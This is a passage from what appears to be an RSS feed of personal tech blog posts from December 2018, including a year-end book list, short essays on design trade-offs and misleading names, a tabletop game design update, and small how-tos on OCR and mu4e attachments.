&lt;p&gt;Don't worry, the third in this series, &lt;a href="https://www.goodreads.com/book/show/38900866-it-doesn-t-have-to-be-crazy-at-work?ac=1&amp;amp;from_search=true"&gt;It Doesn't Have To Be Crazy at Work&lt;/a&gt;, is one of my first books to read in 2019.&lt;/p&gt;
&lt;h3 id="salt-fat-acid-heat"&gt;&lt;a href="https://www.goodreads.com/book/show/30753841-salt-fat-acid-heat"&gt;Salt, Fat, Acid, Heat&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;This book has changed the way I cook. It teaches you the fundamentals - mentioned in the title - and how to understand and apply them to any dish you are cooking. I was a good cook before this, but now I'm a vastly more capable home chef.&lt;/p&gt;
&lt;p&gt;For anyone looking to step up their cooking game, to really understand what they are doing and break their reliance on recipes, this is a fundamental you deserve to have on your shelf.&lt;/p&gt;
&lt;h3 id="built-the-hidden-stories-behind-our-structures"&gt;&lt;a href="https://www.goodreads.com/book/show/34921647-built"&gt;Built: The Hidden Stories Behind our Structures&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Have you ever wondered how subway tunnels are dug under rivers? How skyscrapers are built to withstand disasters? How structures stay standing for so many years? Well, this is the book for you. This is an incredible peek into what actually goes into creating and maintaining the structures we rely on every day to live in, drive through, and work from. Hands down one of my favorite books I've read all year.&lt;/p&gt;
&lt;h3 id="the-three-body-problem-and-the-dark-forest"&gt;&lt;a href="https://www.goodreads.com/book/show/20518872-the-three-body-problem"&gt;The Three-Body Problem&lt;/a&gt; and &lt;a href="https://www.goodreads.com/book/show/23168817-the-dark-forest"&gt;The Dark Forest&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Such an excellent series. It is shockingly well written, and the credit is due to both the author and the translator, who is himself an award-winning sci-fi author. This series is one of the best I've read in a while. It is both an interesting universe and a believable one, with good characters and interesting plot.&lt;/p&gt;
&lt;h3 id="the-monk-of-mokha"&gt;&lt;a href="https://www.goodreads.com/book/show/35215524-the-monk-of-mokha"&gt;The Monk of Mokha&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;This is a fascinating true story behind a young man's attempts to bring Yemen's coffee to the American market. Whether or not you are interested in coffee, this is a fascinating story which shows you the human side of the production of this little brown bean.&lt;/p&gt;
&lt;h3 id="and-the-rest"&gt;And the rest...&lt;/h3&gt;
&lt;p&gt;The rest of the books were good, but you can only have so many favorites. These are presented in reverse chronological order of my reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/13722902-a-hologram-for-the-king"&gt;A Hologram for the King&lt;/a&gt;: a fantastic novel by the great Dave Eggers.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/26156469-never-split-the-difference"&gt;Never Split the Difference&lt;/a&gt;: an interesting perspective on negotiation with many intensely interesting anecdotes. I'm not sure how much of this I really can apply.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/6667514-the-checklist-manifesto"&gt;The Checklist Manifesto&lt;/a&gt;: this book makes me want to go make checklists for everything. I want to apply what I've learned here to software engineering, but that's going to be a slow process.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/324750.High_Output_Management"&gt;High Output Management&lt;/a&gt;: this book isn't just for managers. He defines "middle manager" in an interesting way which includes many (if not all) knowledge workers and it is very transferable into my daily work. Even just knowing that "dual reporting" is a thing - and how to manage it - is very helpful.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/34184307-code-girls"&gt;Code Girls&lt;/a&gt;: let's just say, this is an incredible peek into the work of these incredible women who helped the Allies win WWII. This should be part of the history curriculum.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/35566766-nino-and-me"&gt;Nino and Me&lt;/a&gt;: a fascinating story of the friendship of two legal scholars. This isn't the first Garner book I bought (Black's Law Dictionary was), nor is it the last (Garner's Modern English Usage), but it is certainly the most page-turning.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/9167158-start-small-stay-small"&gt;Start Small, Stay Small&lt;/a&gt;: music to my ears. This is an excellent resource on how to build a bootstrapped company, and something I intend to revisit.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/6713575-coders-at-work"&gt;Coders at Work&lt;/a&gt;: interesting interviews with some of the legends of software engineering and computer science. You must take it with a handful of salt. The biggest thing I took away was that all these successful people work in &lt;em&gt;incredibly&lt;/em&gt; different ways, so there really is no single best way of working.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/34890015-factfulness"&gt;Factfulness&lt;/a&gt;: imagine a TED talk in book form, and this is what you get. Pretty interesting and eye opening.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/36064445-skin-in-the-game"&gt;Skin in the Game&lt;/a&gt;: this book got me to think about things from a perspective I have really never had before. I loved being challenged to think so differently. I'll read more Taleb. I won't buy everything he says, but it's worth reading for the new perspective.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/13588394-the-signal-and-the-noise"&gt;The Signal and the Noise&lt;/a&gt;: such a good read by Nate Silver. Highly recommended.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/30835567-hit-refresh"&gt;Hit Refresh&lt;/a&gt;: this book made me realize how much Microsoft had changed under Satya Nadella's leadership. To an extent it feels like (and is) a marketing piece for Microsoft, but it boosts my confidence that some of their acquisitions (like GitHub) will live on and keep being wonderful.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/26889576-the-big-short"&gt;The Big Short: Inside the Doomsday Machine&lt;/a&gt;: a great look at what led to the housing bubble collapse and market crash of 2007-2008. Not really an uplifting topic, but a great read.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/33574273-a-wrinkle-in-time"&gt;A Wrinkle In Time&lt;/a&gt;: this is a classic, and I'm glad to have finally read it.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/23492333-do-what-you-love-and-other-lies-about-success-and-happiness"&gt;Do What You Love and Other Lies About Success and Happiness&lt;/a&gt;: I love the title but did not enjoy the book. It was written in an incredibly dry, overly academic style.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/36595101-fire-and-fury"&gt;Fire and Fury&lt;/a&gt;: Exactly what you'd expect from a book about the current administration written this early.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/9969571-ready-player-one"&gt;Ready Player One&lt;/a&gt;: this was a great look at how bad our future could be if we blindly lean into technology and corporatism. Let's not, okay?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;2019 is going to be great, and I have a massive list of books I want to read (and a smaller list of ones I actually &lt;em&gt;will&lt;/em&gt; read, as always).&lt;/p&gt;</description><author>ntietz.com blog - technically a blog</author><pubDate>Mon, 31 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ntietz.com/blog/books-i-read-2018/?utm_source=atom&amp;utm_medium=feed</guid></item><item><title>Design is compromise</title><link>https://stephango.com/design-is-compromise</link><description>&lt;p&gt;When did the word “compromise” become vilified?&lt;/p&gt;

&lt;p&gt;Compromise is neither good nor bad, it’s something we do every day. It’s decision making. Prioritizing. Deciding that one thing is more important than another. It’s finding the right balance between two competing desires.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Which&lt;/em&gt; compromises you make   — that’s what matters. Choosing the right compromises is what defines good design.&lt;/p&gt;

&lt;p&gt;Companies like to tout products as “uncompromising” or having “no compromises”. That’s impossible. Once you decide on an approach, you inherently decide against other options.&lt;/p&gt;

&lt;p&gt;Another word for compromise is “tradeoff”. The word “tradeoff” conveys the relationship between strengths and weaknesses. You are trading a weakness for a strength.&lt;/p&gt;

&lt;p&gt;Having an opinionated set of tradeoffs exposes your approach to a set of weaknesses. The more you tip the scale on one side, the weaker something else will be. That’s okay! Making those difficult choices is what people pay you for. You should be proud of your compromises.&lt;/p&gt;

&lt;p&gt;My favorite products are opinionated. They make a clear statement about what they are not good at, in favor of being much better at something else.&lt;/p&gt;

&lt;p&gt;Appealing to everyone is impossible. If you make something that aims to be good across a broad range of capabilities, you are choosing not to be exceptional at anything in particular. That might be the right compromise for your audience, but it’s definitely a compromise.&lt;/p&gt;

&lt;p&gt;Good design is opinionated. Good design is choosing the right compromise for your audience.&lt;/p&gt;</description><author>Steph Ango</author><pubDate>Mon, 31 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://stephango.com/design-is-compromise</guid></item><item><title>ESP32-PICO-KIT-V4 Eagle Library</title><link>https://blog.herlein.com/post/esp32-pico-v4-library/</link><description>&lt;p&gt;An Eagle part library to support use of the ESP32-PICO-KIT-V4 as a daughterboard.&lt;/p&gt;</description><author>Greg Herlein</author><pubDate>Sun, 30 Dec 2018 20:33:02 GMT</pubDate><guid isPermaLink="true">https://blog.herlein.com/post/esp32-pico-v4-library/</guid></item><item><title>Using txti.es + Python as a data dashboard</title><link>https://ciesie.com/post/txti_python/</link><description>&lt;p&gt;Have you ever heard about &lt;a href="http://txti.es"&gt;txti.es&lt;/a&gt;? It&amp;rsquo;s a basic web page creator. You can basically
create a very simple website by typing content into a form. I thought it might be used as a
very simple frontend.&lt;/p&gt;
&lt;p&gt;I always dabbled with automation. An example would be a scraping script that gets the job
postings from a specific website or one that checks when the bus I take every morning leaves
and sends this information by e-mail.&lt;/p&gt;</description><author>ciesie.com</author><pubDate>Sun, 30 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ciesie.com/post/txti_python/</guid></item><item><title>35c3ctf: Collection - an Unintended Solution!</title><link>https://www.da.vidbuchanan.co.uk/blog/35c3ctf-collection-writeup.html</link><author>David Buchanan's Blog</author><pubDate>Sun, 30 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.da.vidbuchanan.co.uk/blog/35c3ctf-collection-writeup.html</guid></item><item><title>Designing an OSR Game Part 4: Alignment, Treasure, and Exploration</title><link>https://benovermyer.com/blog/2018/12/designing-an-osr-game-part-4/</link><description>&lt;p&gt;Over a month has passed since I last posted about &lt;em&gt;Mysteries of a Broken World&lt;/em&gt;. Much has changed since the last time I wrote about the game here. The last three posts in this series are below:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://benovermyer.com/blog/2018/10/designing-a-new-osr-game/"&gt;Designing a New OSR Game&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://benovermyer.com/blog/2018/11/designing-an-osr-game-part-2/"&gt;Designing an OSR Game Part 2: Freeholds and Fatality&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://benovermyer.com/blog/2018/11/designing-an-osr-game-part-3/"&gt;Designing an OSR Game Part 3: Names, Backgrounds, and Playtests&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The rules are much more solid now. As I mentioned before, you can view the current state of them here:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://benovermyer.com/games/mysteriesofabrokenworld.pdf"&gt;Mysteries of a Broken World Playtest Rules&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This time around, I'll talk about some changes that have happened as a result of actually digging into the rules.&lt;/p&gt;
&lt;h1 id="alignment"&gt;Alignment&lt;/h1&gt;
&lt;p&gt;Previously, I somehow completely forgot about alignment. I didn't write about it in blogs or even think about it in notes. Then I started to write monster entries. Since I was using the D&amp;amp;D Rules Cyclopedia as a starting reference point, I hit "Alignment" under the monster statistics and it dawned on me.&lt;/p&gt;
&lt;p&gt;So alignment got added, but it's a little different from other role-playing games. Instead of reflecting your character's outlook on life, it reflects primal outside forces' influence on your character. There are four alignments in the game. They are Chaos, Destiny, Void, and Equilibrium. Chaos is not the anarchic evil of old D&amp;amp;D. It's impulsive and mercurial, sure, but not evil. Destiny is closest to old Lawful, but again, it's not "good" like in the old game. Void emphasizes purity and clarity. Equilibrium enforces a balance between all opposites.&lt;/p&gt;
&lt;h1 id="refining-treasure"&gt;Refining Treasure&lt;/h1&gt;
&lt;p&gt;Treasure in &lt;em&gt;Mysteries of a Broken World&lt;/em&gt; is the focus for gaining experience. Monsters have no experience reward, whether for killing or avoiding them. Most monsters, however, will have treasure either on their person or in their nearby lair. Unlike Dungeons &amp;amp; Dragons, treasure is not listed for monsters in abstract classes. Monster entries have a line for "Treasure Type," with values such as "Meager," "All That Glitters," and "Warmonger." Treasure Types still have a table of what they contain, but this named system tries to give Game Masters a better idea at a glance of what the monsters in a given module might possess.&lt;/p&gt;
&lt;h1 id="beginning-to-rethink-exploration"&gt;Beginning to Rethink Exploration&lt;/h1&gt;
&lt;p&gt;Now that the core rules are more or less codified, I'm starting to think about where I want to take exploration. Some games make it a core feature, and others try to sweep it under the rug in favor of more visceral action. In &lt;em&gt;Mysteries&lt;/em&gt;, I want exploration to be a primary element of the game. This requires developing rules that encourage focus on exploration.&lt;/p&gt;
&lt;p&gt;I'm not quite sure how I'm going to do this yet. Exploration has to be interesting, which means letting players make choices. "We travel by horseback northwest for three days" is pretty boring. Turning that same journey into a game-worthy experience will require thought.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Sat, 29 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2018/12/designing-an-osr-game-part-4/</guid></item><item><title>Weeding out misleading misnomers</title><link>http://dimitarsimeonov.com/2018/12/28/weeding-out-misleading-misnomers</link><description>&lt;p&gt;When I was a student in MIT, I took a walk on Massachusetts Avenue,
across the Harvard bridge. It’s a long bridge which separates Boston
from Cambridge, Massachusetts. As I crossed into Boston and I walked
about a mile further, I noticed the Christian Science Plaza. It was
beautiful. A large ornate church next to reflection pool. A little
pocket of spaciousness in crowded Boston. It looked splendid.&lt;/p&gt;

&lt;p&gt;&lt;img alt="beatiful church christian science plaza" src="https://d2mxuefqeaa7sj.cloudfront.net/s_02D24A9FBCE92BE0B25C1F123F2A5CAE2B4FF91FF88A6D04473EF2937AAEE7A1_1546013639927_christian+science+plaza.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;I didn’t like getting inside churches, and thought of myself as an
atheist. I fit well in Boston - a sciency city hosting MIT,
Harvard, BU, Tufts and other top universities. In my ignorance, I
assumed that the Christian Science Plaza is some kind of tribute of
sort to all these scientists who were also believing and professing
Christians. How naive of me.&lt;/p&gt;

&lt;p&gt;Only years later, after reading a random thread on the internets, I
learned that Christian Science is something entirely different than
what I thought it was. Apparently, it is a sect that preaches
alternative medicine and quackery. It’s followers believe that if
you’re sick, the best way to heal is not to go to the doctor, but to
pray.&lt;/p&gt;

&lt;p&gt;This is far… far from science, and at the same time far
from mainstream Christianity, as I understood it. Yet, for a while
Christian Science flew under my bullshit radar, masked by its name.&lt;/p&gt;

&lt;p&gt;And Christian science is not the only low flying crap. There are
others. Another example is the phrase “Conscious Capitalism”. On the
surface, it seems like it’s fixing some of the problems of
capitalism. Corporations are often accused, and rightly so, of
&lt;a href="https://en.wikipedia.org/wiki/Cost_externalizing"&gt;externalizing the cost&lt;/a&gt;,
by dumping their negative byproducts on groups of people who don’t
have choice, or by destroying the ecosystems of the planet.&lt;/p&gt;

&lt;p&gt;Conscious capitalism pretends that it’s a different way to do
business, that helps the planet, and aligns incentives. And while to
some degree this might be true, it’s a classic marketing
technique. These businesses, touted at the forefront of
conscious capitalism make their profits not by necessarily finding the
better and cheaper and sustainable products and delivering them at a
competitive price.&lt;/p&gt;

&lt;p&gt;Most of conscious capitalism rely on virtue signaling - whether it is social status, or for intrinsic motivation. People want to feel good about where they spend their money - even if that means spending a lot more of the money. That’s the real business model.&lt;/p&gt;

&lt;p&gt;What conscious capitalism really sells vanity, and luxury.&lt;/p&gt;

&lt;p&gt;&lt;img alt="whole foods" src="https://d2mxuefqeaa7sj.cloudfront.net/s_02D24A9FBCE92BE0B25C1F123F2A5CAE2B4FF91FF88A6D04473EF2937AAEE7A1_1546013732033_whole+foods.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;You might say I’m cynical, yet, if you see the bottom line, realize
that conscious capitalism only works for selling high end items to
affluent customers who want to feel better about their impact on the
planet. The really funny, and rather ironic thing is that this kind of
decision is often made at the subconscious level. A fully conscious
consumer knows that most of the time a more expensive product is
harder on the environment. And then they realize they don’t need to
spend 12.99 for a small bag of dark chocolate almonds, and that the
waste created by it more than negates the good created by getting
their organic avocados cheap.&lt;/p&gt;

&lt;p&gt;A fully conscious customer would be frank to themselves that they are
buying the organic eggplant and the heirloom tomatoes because they
taste better. Not because they are more sustainable. When you draw the
bottom line, conscious capitalism is really a subliminal luxury.&lt;/p&gt;

&lt;p&gt;Phrases like “conscious capitalism” and “christian science” - designed
to mislead us, are much more common than we imagine. They can be extra
vicious, because they are not a contradictory oxymorons. It is
possible to be both a Christian and a scientist, and to approach
science with religiousness and theology scientifically. And it is
possible to be a conscious capitalist - see the blog of Mr Money
Mustache (https://www.mrmoneymustache.com/)&lt;/p&gt;

&lt;p&gt;Such phrases are double misnomers. They twist our brains away from the
true meaning. We approximate meaning of a phrase by each word’s
individual meaning. We are hard wired for associations. Logic is
secondary, and we regularly ignore it. And when things are different
than what their names imply - that’s doublespeak, and forces us on
actively engaging our slower, logical machinery.&lt;/p&gt;

&lt;p&gt;We have to exert mental discipline, and a lot of effort, only to avoid
getting tricked.&lt;/p&gt;

&lt;p&gt;Such doublespeaks are Orwelianisms - forcing us to keep two different
interpretations in our heads. One for what things sound like, and
another for what they really are.  When we are dealing with double
misnomers, the number of interpretations becomes four.  The more
misnomers we have, the number of versions we have to consider grows
exponentially. Meanwhile, our brains have limited power. Like… super
limited. Our working memory, our RAM, can only keep 5-7 things at the
same time, so having even four misnomers can really mess us up.&lt;/p&gt;

&lt;p&gt;For double speak to sneak in, we don’t need a &lt;em&gt;double&lt;/em&gt; misnomer. Even
a single misnomer is enough to force us into doublespeak, and
doublethink.&lt;/p&gt;

&lt;p&gt;Misleading misnomers are everywhere. All around us, they trick us in
all kinds of ways. They are the basis of all misinformation - from
deceptive persuasion, to fake news, to propaganda. By weeding them out
of our lives, and staying vigilant, we learn to recognize the bigger
threats and avoid them.&lt;/p&gt;</description><author>D13V</author><pubDate>Fri, 28 Dec 2018 18:09:35 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2018/12/28/weeding-out-misleading-misnomers</guid></item><item><title>On Migrating from Google Analytics</title><link>https://thomashunter.name/posts/2018-12-28-migrating-from-google-analytics</link><author>Thomas Hunter II</author><pubDate>Fri, 28 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2018-12-28-migrating-from-google-analytics</guid></item><item><title>CS1 - What Do We Know?</title><link>http://acbart.github.io//2018/12/28/cs1-what-do-we-know/</link><description>I made a better follow-up to this post based on an awesome journal paper that came out around the same time!</description><author>Acbart ePortfolio</author><pubDate>Fri, 28 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">http://acbart.github.io//2018/12/28/cs1-what-do-we-know/</guid></item><item><title>Finally received my 2018 hacktoberfest swag</title><link>https://shyamjos.com/hacktoberfest-2018-swag/</link><description>&lt;p&gt;Yay! finally received my 2018 hacktoberfest swag







 
 
&lt;figure&gt;&lt;img alt="rtlsdr antennas" class="mx-auto my-0 rounded-md" src="https://shyamjos.com/assets/img/swag/hacktoberfest-2018-swag.jpg" /&gt;
&lt;/figure&gt;
&lt;/p&gt;</description><author>Shyam Jos</author><pubDate>Fri, 28 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://shyamjos.com/hacktoberfest-2018-swag/</guid></item><item><title>ASCII art generator bookmarks</title><link>https://xenodium.com/ascii-art-generator-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://antglove.com/erger/"&gt;𝓔𝓻𝓰𝓮𝓻𝓪𝓽𝓸𝓻/Ergerator (ascii generator)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 27 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/ascii-art-generator-bookmarks</guid></item><item><title>Malas prácticas de seguridad en bancos: Banco Santander</title><link>https://danielsada.tech/notas/malas-practicas-seguridad/</link><description>No suelo quejarme mucho, sin embargo, varias cosas me han irritado en cómo los bancos que proclaman ser tan conocedores en ciberseguridad tienden a ser los que más caen en falsedades que solo aparentan seguridad. Mas aún, sus malas prácticas suelen llegar al punto que, en lugar de hacer los sistemas más seguros, los hacen más inseguros. No me malinterpreten, – Santander es de los mejores bancos con los que he tratado y la mayoría de estas críticas no son exclusivas de Santander – Sin embargo, del querer ver algo mejor llega la crítica.</description><author>Daniel Sada Caraveo | Developer Productivity &amp;amp; Culture</author><pubDate>Thu, 27 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://danielsada.tech/notas/malas-practicas-seguridad/</guid></item><item><title>Devbot</title><link>https://www.anardil.net/2018/devbot.html</link><description>&lt;p&gt;Automate your workflow with Devbot&lt;/p&gt;</description><author>Anardil</author><pubDate>Wed, 26 Dec 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://www.anardil.net/2018/devbot.html</guid></item><item><title>Osaka travel bookmarks</title><link>https://xenodium.com/osaka-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.tripadvisor.com/Attraction_Review-g298566-d1195795-Reviews-Tsutenkaku-Osaka_Osaka_Prefecture_Kinki.html"&gt;Tsutenkaku (Osaka) - 2018 All You Need to Know BEFORE You Go (with Photos) - TripAdvisor&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 26 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/osaka-travel-bookmarks</guid></item><item><title>Turning the Static Dynamic with Gatsby + Netlify Functions + Netlify Identity</title><link>https://www.swyx.io/gatsby-static-dynamic</link><description>&lt;p&gt;Gatsby is great for not only static sites but also traditional web applications. You can add authentication and serverless functionality and get up and running incredibly quickly with Netlify - here's how.&lt;/p&gt;</description><author>swyx's site RSS Feed</author><pubDate>Wed, 26 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/gatsby-static-dynamic</guid></item><item><title>Leather Keychains</title><link>https://zef.studio/projects/leather-keychains</link><description>Leather Keychains with brass hardware made by Zef Houssney.</description><author>Zef Houssney</author><pubDate>Tue, 25 Dec 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://zef.studio/projects/leather-keychains</guid></item><item><title>The Absolute Essentials for Bit Manipulation in JavaScript</title><link>https://lucasfcosta.com/blog/bitwise-operations/</link><description>This post aims to demystify bitwise operations in JavaScript, as they can be useful for a myriad of applications. They are also very useful, for example, when building emulators, an exercise I'd defi...</description><author>Lucas F. Costa - Blog</author><pubDate>Tue, 25 Dec 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://lucasfcosta.com/blog/bitwise-operations/</guid></item><item><title>Using OCR to create searchable pdfs from images</title><link>https://xenodium.com/using-ocr-to-create-searchable-pdfs-from-images</link><description>&lt;p&gt;Used my phone to take a handful of photos of an article from a magazine. Wanted to convert the images to a searchable pdf on macOS.&lt;/p&gt;
&lt;p&gt;This was straightforward, having &lt;a href="http://xenodium.com/trying-out-tesseract"&gt;already installed tesseract&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;for i in IMG_3*.jpg; do echo $i; tesseract $i $(basename $i .tif) pdf; done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Should now have a handful of OCR'd pdfs:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;ls *.jpg.pdf
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class="language-example"&gt;IMG_3104.jpg.pdf
IMG_3105.jpg.pdf
IMG_3106.jpg.pdf
IMG_3107.jpg.pdf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, join all pdfs into one. Turns out macOS has a handy python script already installed. We can use it as:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;/usr/bin/python &amp;quot;/System/Library/Automator/Combine PDF Pages.action/Contents/Resources/join.py&amp;quot; -o joined.pdf IMG_*pdf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ps. &lt;a href="https://pdfgrep.org"&gt;pdfgrep&lt;/a&gt; is great for searching pdfs.&lt;/p&gt;
&lt;h2&gt;Useful references&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ryanfb.github.io/etc/2014/11/13/command_line_ocr_on_mac_os_x.html"&gt;Ryan Baumann's: Command-Line OCR with Tesseract on Mac OS X&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 25 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/using-ocr-to-create-searchable-pdfs-from-images</guid></item><item><title>Audiobook providers bookmarks</title><link>https://xenodium.com/audiobook-providers-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.openculture.com/freeaudiobooks"&gt;1,000 Free Audio Books: Download Great Books for Free | Open Culture&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://bbcsfx.acropolis.org.uk/"&gt;BBC Sound Effects Archive Resource • Research &amp;amp; Education Space&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://libro.fm/"&gt;Libro.fm (Libro.fm, Your Independent Bookstore for Digital Audiobooks)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.thegreatcourses.co.uk/"&gt;Online Courses &amp;amp; Lectures for Home Study and Lifelong Learning&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.openculture.com/"&gt;The best free cultural and educational media on the web (Open Culture)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 25 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/audiobook-providers-bookmarks</guid></item><item><title>Cookbook bookmarks</title><link>https://xenodium.com/cookbook-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.nancysingletonhachisu.com/the-attic-loft/"&gt;Japan: The Cookbook (Nancy Singleton Hachisu)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.nancysingletonhachisu.com/the-woodhouse/"&gt;Japanese Farm Food (Nancy Singleton Hachisu)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.nancysingletonhachisu.com/the-country-annex/"&gt;Preserving the Japanese Way (Nancy Singleton Hachisu)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 25 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/cookbook-bookmarks</guid></item><item><title>Emailing pdfs to kindle from mu4e</title><link>https://xenodium.com/emailing-pdfs-to-kindle-from-mu4e</link><description>&lt;p&gt;Wanted to send a pdf to my kindle for some holiday reading. You can easily do this by emailing the pdf to your kindle-bound email address.&lt;/p&gt;
&lt;p&gt;Now, I typically attach files when composing mu4e emails by using &lt;em&gt;mml-attach-file&lt;/em&gt;, which attaches the file using &lt;em&gt;&amp;lt;#part&amp;gt;…&amp;lt;#/part&amp;gt;&lt;/em&gt;. However, the Amazon service did not find the attached pdf, so no pdf was added to my Kindle.&lt;/p&gt;
&lt;p&gt;Fortunately, I found a handy &lt;a href="https://www.reddit.com/r/emacs/comments/97abs7/anyone_uses_mu4e_to_send_mobi_files_to_kindle"&gt;Reddit thread, leding me to a working solution&lt;/a&gt;. Wrapping the part using &lt;em&gt;&amp;lt;#multipart type=mixed&amp;gt;…&amp;lt;#/multipart&amp;gt;&lt;/em&gt; did the job, using &lt;em&gt;mml-insert-multipart&lt;/em&gt;, followed by &lt;em&gt;mml-attach-file&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Resulting attachment should look something like:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-example"&gt;&amp;lt;#multipart type=mixed&amp;gt;
&amp;lt;#part type=&amp;quot;application/pdf&amp;quot; filename=&amp;quot;/path/to/file.pdf&amp;quot; disposition=attachment&amp;gt;
&amp;lt;#/part&amp;gt;
&amp;lt;#/multipart&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I should add a convenience elisp function for this, but that's for another time…&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 25 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/emailing-pdfs-to-kindle-from-mu4e</guid></item><item><title>Links - December 25, 2018</title><link>https://faingezicht.com/links/2018/12/25/links/</link><description/><author>Avy Faingezicht</author><pubDate>Tue, 25 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2018/12/25/links/</guid></item><item><title>My 2018 in review</title><link>https://andrestc.com/post/reviewing-2018/</link><description>&lt;p&gt;As 2018 is coming to and end, I have decided to review my year.&lt;/p&gt;
&lt;h2 id="talks"&gt;Talks&lt;/h2&gt;
&lt;p&gt;One of my major goals for 2018 was to focus and improve my public speaking skills. Specifically, I wanted to do my first talk at an international conference.&lt;/p&gt;
